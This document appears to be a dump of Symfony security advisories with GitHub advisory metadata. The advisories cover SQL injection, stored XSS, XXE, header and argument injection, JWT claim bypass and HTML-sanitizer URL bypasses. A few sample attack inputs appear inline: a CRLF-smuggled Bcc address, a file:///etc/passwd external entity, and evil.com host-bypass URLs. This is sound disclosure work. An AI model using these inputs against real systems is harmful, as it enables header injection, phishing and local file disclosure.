### Description `Symfony\Component\Cache\Adapter\PdoAdapter` is the PDO-backed cache adapter. Its `clear($prefix)` method (inherited from `AbstractAdapterTrait`) is documented to delete cache items whose key starts with `$prefix`. In the non-versioning code path, the caller-supplied `$prefix` is concatenated into `$namespace = $this->namespace.$prefix` and passed to `PdoAdapter::doClear()`, which builds: ```sql DELETE FROM <table> WHERE <id_col> LIKE '<namespace>%' ``` The value is interpolated directly into the SQL text and executed with `PDO::exec()`: `$namespace` is not bound. A caller able to influence `$prefix` can break out of the literal and inject SQL, expanding deletion scope from the intended prefix to arbitrary rows, or otherwise reshape query semantics. Most applications don't expose `clear($prefix)` to untrusted input directly, but the contract of the method is to safely accept any prefix string, so the lack of escaping is a defect of the adapter itself. ### Resolution `AbstractAdapterTrait::clear()` now rejects any `$prefix` containing characters outside `[-+.A-Za-z0-9]`: when an invalid prefix is supplied, the method logs a warning and returns `false` instead of reaching the SQL layer. This blocks quotes, `%`, null bytes and other characters that would let an attacker break out of the `LIKE` literal. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/ec50b799d79ebe24561f29351c1efcb6da95c9b1) for branch 5.4. ### Credits Symfony would like to thank secsys_codex for reporting the issue and Nicolas Grekas for fixing it.

medium

2026-05-28 00:11:22+03:00

2026-05-28 00:11:24+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-6qh9-h6wf-jgqc', 'https://github.com/symfony/symfony/commit/ec50b799d79ebe24561f29351c1efcb6da95c9b', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/cache/CVE-2026-45073.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45073.yaml', 'https://symfony.com/cve-2026-45073', 'https://github.com/advisories/GHSA-6qh9-h6wf-jgqc']

[{'package': {'name': 'symfony/cache', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/cache', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/cache', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/cache', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", 'cwe_id': 'CWE-89'}]

bab6730779918a7e354a13a32403fdfa922245175ce8d2eba115acddf9e7e1c9

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-hmr5-2xcr-v8pp

CVE-2026-45072

Symfony Vulnerable to stored XSS in WebProfiler CodeExtension::fileExcerpt() — Unescaped Non-PHP File Rendering

### Description Symfony's profiler, a development only debug UI, renders source-code excerpts on several pages using Twig's custom `file_excerpt` filter. This filter renders PHP files via `highlight_string()` (which escapes HTML), but renders **non-PHP files** by splitting on `\n` and interpolating each line directly into `<code>{$line}</code>` with no escaping. An attacker who can write arbitrary bytes into any file under the project root (including e.g. `var/log/dev.log`), achieves **stored XSS** against any developer who later opens that file in the profiler. ### Resolution The `file_excerpt` filter now properly escapes each line of non-PHP files using `htmlspecialchars()` before concatenating them. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/863aa81c61166f1aa74b7732df316f76113acbdb) for branch 6.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

low

2026-05-28 00:10:44+03:00

2026-05-28 00:10:45+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-hmr5-2xcr-v8pp', 'https://github.com/symfony/symfony/commit/863aa81c61166f1aa74b7732df316f76113acbdb', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45072.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/twig-bridge/CVE-2026-45072.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/web-profiler-bundle/CVE-2026-45072.yaml', 'https://symfony.com/cve-2026-45072', 'https://github.com/advisories/GHSA-hmr5-2xcr-v8pp']

[{'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.4.24, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.2.9, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/twig-bridge', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.4.24, < 6.4.40'}, {'package': {'name': 'symfony/web-profiler-bundle', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.2.9, < 7.4.12'}, {'package': {'name': 'symfony/web-profiler-bundle', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

2b0d45c7841acbcd5df3e24d746b95a71783c691d4314bc426bb72eb06d37bf6

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-h5vq-qfcg-4m6p

CVE-2026-45064

Symfony's HtmlSanitizer URL Attributes Pass Through BiDi Override Characters → Visual href Spoofing

### Description `Symfony\Component\HtmlSanitizer\TextSanitizer\UrlSanitizer::parse()` (used by `UrlSanitizer::sanitize()` and therefore by every `HtmlSanitizer` config that allows links or media) accepts URLs that contain Unicode explicit-direction BiDi formatting characters: U+202A–U+202E (LRE / RLE / PDF / LRO / RLO) and U+2066–U+2069 (LRI / RLI / FSI / PDI). These characters are passed through unchanged into the `href` / `src` attributes produced by `HtmlSanitizer`. When the resulting HTML is rendered in a browser, the override characters reverse or alter the visual ordering of the URL text, so the displayed link can differ arbitrarily from the actual destination: a classic visual-spoofing / phishing primitive against viewers of sanitized content. ### Resolution `UrlSanitizer::parse()` now rejects URLs containing the explicit-direction BiDi formatting code points (U+202A–U+202E, U+2066–U+2069) before invoking the underlying URL parser. As an unrelated companion fix in the same patch, spaces inside path/query/fragment are now percent-encoded rather than rejected outright, while spaces in the scheme/authority remain rejected by the post-encoding whitespace check. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/743a435e948b897ef2b5564ac438d4beb95d2526) for branch 5.4. ### Credits Symfony would like to thank Himanshu Anand for reporting the issue and Nicolas Grekas for providing the fix.

medium

2026-05-27 23:04:22+03:00

2026-05-27 23:04:23+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-h5vq-qfcg-4m6p', 'https://github.com/symfony/symfony/commit/743a435e948b897ef2b5564ac438d4beb95d2526', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/html-sanitizer/CVE-2026-45064.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45064.yaml', 'https://symfony.com/cve-2026-45064', 'https://github.com/advisories/GHSA-h5vq-qfcg-4m6p']

[{'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.1.0, < 6.4.40'}, {'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.1.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'User Interface (UI) Misrepresentation of Critical Information', 'cwe_id': 'CWE-451'}, {'name': 'Insufficient Visual Distinction of Homoglyphs Presented to User', 'cwe_id': 'CWE-1007'}]

47d9d2519346ccf9d45c010d965c664f8b90b9ab278ab3e6fa2478da1d442969

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-x6g4-fwcc-jj8w

CVE-2026-45071

Symfony has XXE (Local File Disclosure) in DomCrawler::addXmlContent() via validateOnParse = true

### Description `symfony/dom-crawler` provides the `Crawler` class for navigating HTML/XML documents with CSS/XPath selectors; `symfony/browser-kit`'s `HttpBrowser` uses it to parse fetched pages. `Crawler::addXmlContent()` sets `DOMDocument::$validateOnParse = true` before calling `loadXML()`. Setting `validateOnParse` re-enables libxml's DTD subset processing, including external entity resolution, even though `LIBXML_NONET` is passed. `LIBXML_NONET` blocks **network** fetches but not `file://` entities. An attacker-supplied XML document with a `SYSTEM "file:///etc/passwd"` entity is therefore expanded. ### Resolution The `Crawler::addXmlContent` method does not set the `validateOnParse` flag anymore. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/eea5fd7488cbdc241da4ce242344b7d9a3ecdf3d) for branch 5.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

low

2026-05-28 00:09:44+03:00

2026-05-28 00:09:45+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-x6g4-fwcc-jj8w', 'https://github.com/symfony/symfony/commit/eea5fd7488cbdc241da4ce242344b7d9a3ecdf3d', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/dom-crawler/CVE-2026-45071.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45071.yaml', 'https://symfony.com/cve-2026-45071', 'https://github.com/advisories/GHSA-x6g4-fwcc-jj8w']

[{'package': {'name': 'symfony/dom-crawler', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/dom-crawler', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/dom-crawler', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/dom-crawler', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Improper Restriction of XML External Entity Reference', 'cwe_id': 'CWE-611'}]

5a0c35effbfdf06bce4148ea14f1ef9cdee6edbc4ea8e99c0bcc70f59ae90740

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-vqc8-7275-q272

CVE-2026-45070

Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names

### Description `Symfony\Component\Mime\Header\ParameterizedHeader` (and the related parameter handling reachable from `Symfony\Component\Mime\Header\Headers`) is responsible for serializing structured headers such as `Content-Type` and `Content-Disposition`, which carry `key=value` parameters (e.g. `Content-Disposition: attachment; filename="x"`). RFC 2045 / RFC 5322 require parameter *names* to be `tokens`: a restricted ASCII subset that excludes whitespace, CR/LF, and the `tspecials` set. Symfony's parameter handling validates and properly encodes parameter *values*, but does not validate parameter *names*: the supplied name is emitted verbatim into the serialized header. A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a `Content-Disposition` parameter name, can include `\r\n` or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot. ### Resolution `ParameterizedHeader` now rejects parameter names that contain bytes outside the RFC `token` character class. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/e62ea217f8b4ca8ae922ad0f949e0c4dc1f9b613) for branch 5.4. ### Credits Symfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.

medium

2026-05-28 00:09:12+03:00

2026-05-28 00:09:13+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-vqc8-7275-q272', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45070.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45070.yaml', 'https://symfony.com/cve-2026-45070', 'https://github.com/advisories/GHSA-vqc8-7275-q272']

[{'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of CRLF Sequences ('CRLF Injection')", 'cwe_id': 'CWE-93'}]

9ef6af8ef34ffd569c9e01350ed8d88211bf79f66152209b6728d5be287545a0

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-29fc-p6c4-24cg

CVE-2026-45069

Symfony's OidcTokenHandler Accepts JWTs Missing aud/iss/exp Claims

### Description `OidcTokenHandler` is Symfony's built-in access-token handler for OpenID Connect: it validates a bearer JWT and returns the authenticated user identity. It delegates claim validation to the `web-token/jwt-checker` library's `ClaimCheckerManager`. `OidcTokenHandler::verifyClaims()` registers audience (`aud`), issuer (`iss`), and expiry (`exp`) checkers, but never passes the `$mandatoryClaims` argument to `ClaimCheckerManager::check()`. That method only validates claims that are *present* in the token: a checker for an absent claim is silently skipped. A validly-signed JWT that simply **omits** `aud`, `iss`, and `exp` therefore passes verification. ### Resolution The `OidcTokenHandler` now calls the `ClaimCheckerManager` with the list of mandatory claims so that tokens missing `aud`, `iss`, or `exp` are rejected. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/6b717aaac21b7e96798448d14c4355ea87690b3d) for branch 6.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

medium

2026-05-28 00:03:36+03:00

2026-05-28 00:03:38+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-29fc-p6c4-24cg', 'https://github.com/symfony/symfony/commit/6b717aaac21b7e96798448d14c4355ea87690b3d', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45069.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45069.yaml', 'https://symfony.com/cve-2026-45069', 'https://github.com/advisories/GHSA-29fc-p6c4-24cg']

[{'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.3.0, < 6.4.40'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.4.0, < 7.4.12'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.3.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.4.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Insufficient Verification of Data Authenticity', 'cwe_id': 'CWE-345'}, {'name': 'Improper Validation of Specified Type of Input', 'cwe_id': 'CWE-1287'}]

f23e273116181fe640d8c4796e2d52340fca715d998ea5401b23f7825362bd3c

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-xx3c-qf5g-hc39

CVE-2026-45068

Symfony has an Argument Injection in SendmailTransport via Dash-Prefixed Recipient Address

### Description Symfony Mailer selects a transport via the `MAILER_DSN` environment variable / configuration (e.g. `smtp://...`, `sendmail://...`, `native://default`). `SendmailTransport` invokes the local `sendmail` binary and supports two modes: `-bs` (speak SMTP over stdin: the default) and `-t` (read the message on stdin, pass recipients as command-line arguments). In `-t` mode, recipient addresses are appended to the sendmail command line **without a `--` end-of-options separator**. A recipient address beginning with `-` (which `Symfony\Component\Mime\Address` accepts as valid) is therefore interpreted by sendmail as a command-line option rather than an address. ### Resolution The `SendmailTransport` transport now ensure `--` is set before the list of recipients. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/c45144862dc289d03952f41f6078174089a3afc6) for branch 5.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

medium

2026-05-27 23:46:05+03:00

2026-05-27 23:46:06+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-xx3c-qf5g-hc39', 'https://github.com/symfony/symfony/commit/c45144862dc289d03952f41f6078174089a3afc6', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mailer/CVE-2026-45068.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45068.yaml', 'https://symfony.com/cve-2026-45068', 'https://github.com/advisories/GHSA-xx3c-qf5g-hc39']

[{'package': {'name': 'symfony/mailer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/mailer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/mailer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/mailer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", 'cwe_id': 'CWE-88'}]

524caf31b8282c4fcf7b3b0a6091dab1cb3473f85d90e511851a6615966d438b

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-qpmx-3rfj-7rhv

CVE-2026-45067

Symfony has Email Header / SMTP Command Injection via CRLF in Symfony\Component\Mime\Address

### Description `Symfony\Component\Mime\Address` is the value-object every Symfony Mailer address (to/cc/bcc/from/reply-to) flows through; its constructor is documented as validating the address and throwing on invalid input, so developers treat it as a security boundary. The constructor accepts email addresses whose local-part (the part before `@`) is an RFC-5322 *quoted string* containing raw `\r\n` bytes, e.g. `"x\r\nBcc: attacker@evil"@example.com`. The stored address is later emitted verbatim into (1) the rendered message headers and (2) `SmtpTransport`'s `MAIL FROM:<...>` / `RCPT TO:<...>` protocol lines, turning the embedded CRLF into a new mail header and/or a new SMTP command. ### Resolution The `Address` constructor now rejects addresses containing line breaks. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/dc2dbd29211eb4ddc451373fa1374fb926e94604) for branch 5.4. ### Credits We would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

high

2026-05-27 23:42:07+03:00

2026-05-27 23:42:08+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-qpmx-3rfj-7rhv', 'https://github.com/symfony/symfony/commit/dc2dbd29211eb4ddc451373fa1374fb926e94604', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45067.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45067.yaml', 'https://symfony.com/cve-2026-45067', 'https://github.com/advisories/GHSA-qpmx-3rfj-7rhv']

[{'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/mime', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Neutralization of CRLF Sequences ('CRLF Injection')", 'cwe_id': 'CWE-93'}]

41f7a644c2559c7128f440c5eafe62bcb370330feec5ed62010a33d6e9d32910

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-qc95-4862-92fh

CVE-2026-45066

Symfony has an HtmlSanitizer allowLinkHosts() / allowMediaHosts() Bypass via URL-Parser Differentials and <area> Misclassification

### Description `symfony/html-sanitizer` lets applications sanitise untrusted HTML. The configuration methods `allowLinkHosts([...])` and `allowLinkSchemes([...])` are intended to restrict `<a href>` targets to an allowlist of hosts/schemes; `allowMediaHosts()` / `allowMediaSchemes()` do the same for `<img src>` etc. Three distinct bypasses allow a content author to smuggle off-allowlist URLs past these checks. First, `UrlSanitizer::parse()` parses the input following RFC-3986, while browsers follow the WHATWG URL Standard which normalises `\` to `/` before parsing the authority of "special" schemes; so an input like `https://evil\@trusted.com/` parses with host `trusted.com` server-side but navigates to `https://evil/` in the browser. Second, WHATWG collapses any run of `/` after the scheme into `//`, while RFC-3986 does not; so `https:/evil.com/` and `https:///evil.com/` parse as host-less (skipping the host allowlist) but resolve to `evil.com` in the browser. Third, `UrlAttributeSanitizer` checks `'a' === $element` to route to the link policy and falls through to the media policy otherwise, but `<area>` is a navigable hyperlink equivalent to `<a>`; so `<area href>` was sanitised against the media policy (which typically allows `data:` and may have no host allowlist), bypassing `allowLinkHosts()` / `allowLinkSchemes()` entirely. ### Resolution `UrlSanitizer::sanitize()` now rejects URLs that contain a backslash or that use a special scheme (`http`, `https`, `ftp`, `ws`, `wss`) followed by a single slash or three slashes before parsing, eliminating the parser-differential bypasses. `UrlAttributeSanitizer` now applies the link policy to both `<a>` and `<area>` elements. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/d506b556d3d3906f3e8660ad82257ce87edbaac4) for branch 5.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and providing the fix.

medium

2026-05-27 23:13:04+03:00

2026-05-27 23:13:05+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-qc95-4862-92fh', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/html-sanitizer/CVE-2026-45066.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45066.yaml', 'https://symfony.com/cve-2026-45066', 'https://github.com/advisories/GHSA-qc95-4862-92fh']

[{'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.1.0, < 6.4.40'}, {'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/html-sanitizer', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.1.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Incomplete List of Disallowed Inputs', 'cwe_id': 'CWE-184'}, {'name': 'Interpretation Conflict', 'cwe_id': 'CWE-436'}]

68942cca997eda48c91fcb77c711e0b8a73293d1a2f8309174da7d326ff1a979

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-rw47-hm26-6wr7

CVE-2026-44982

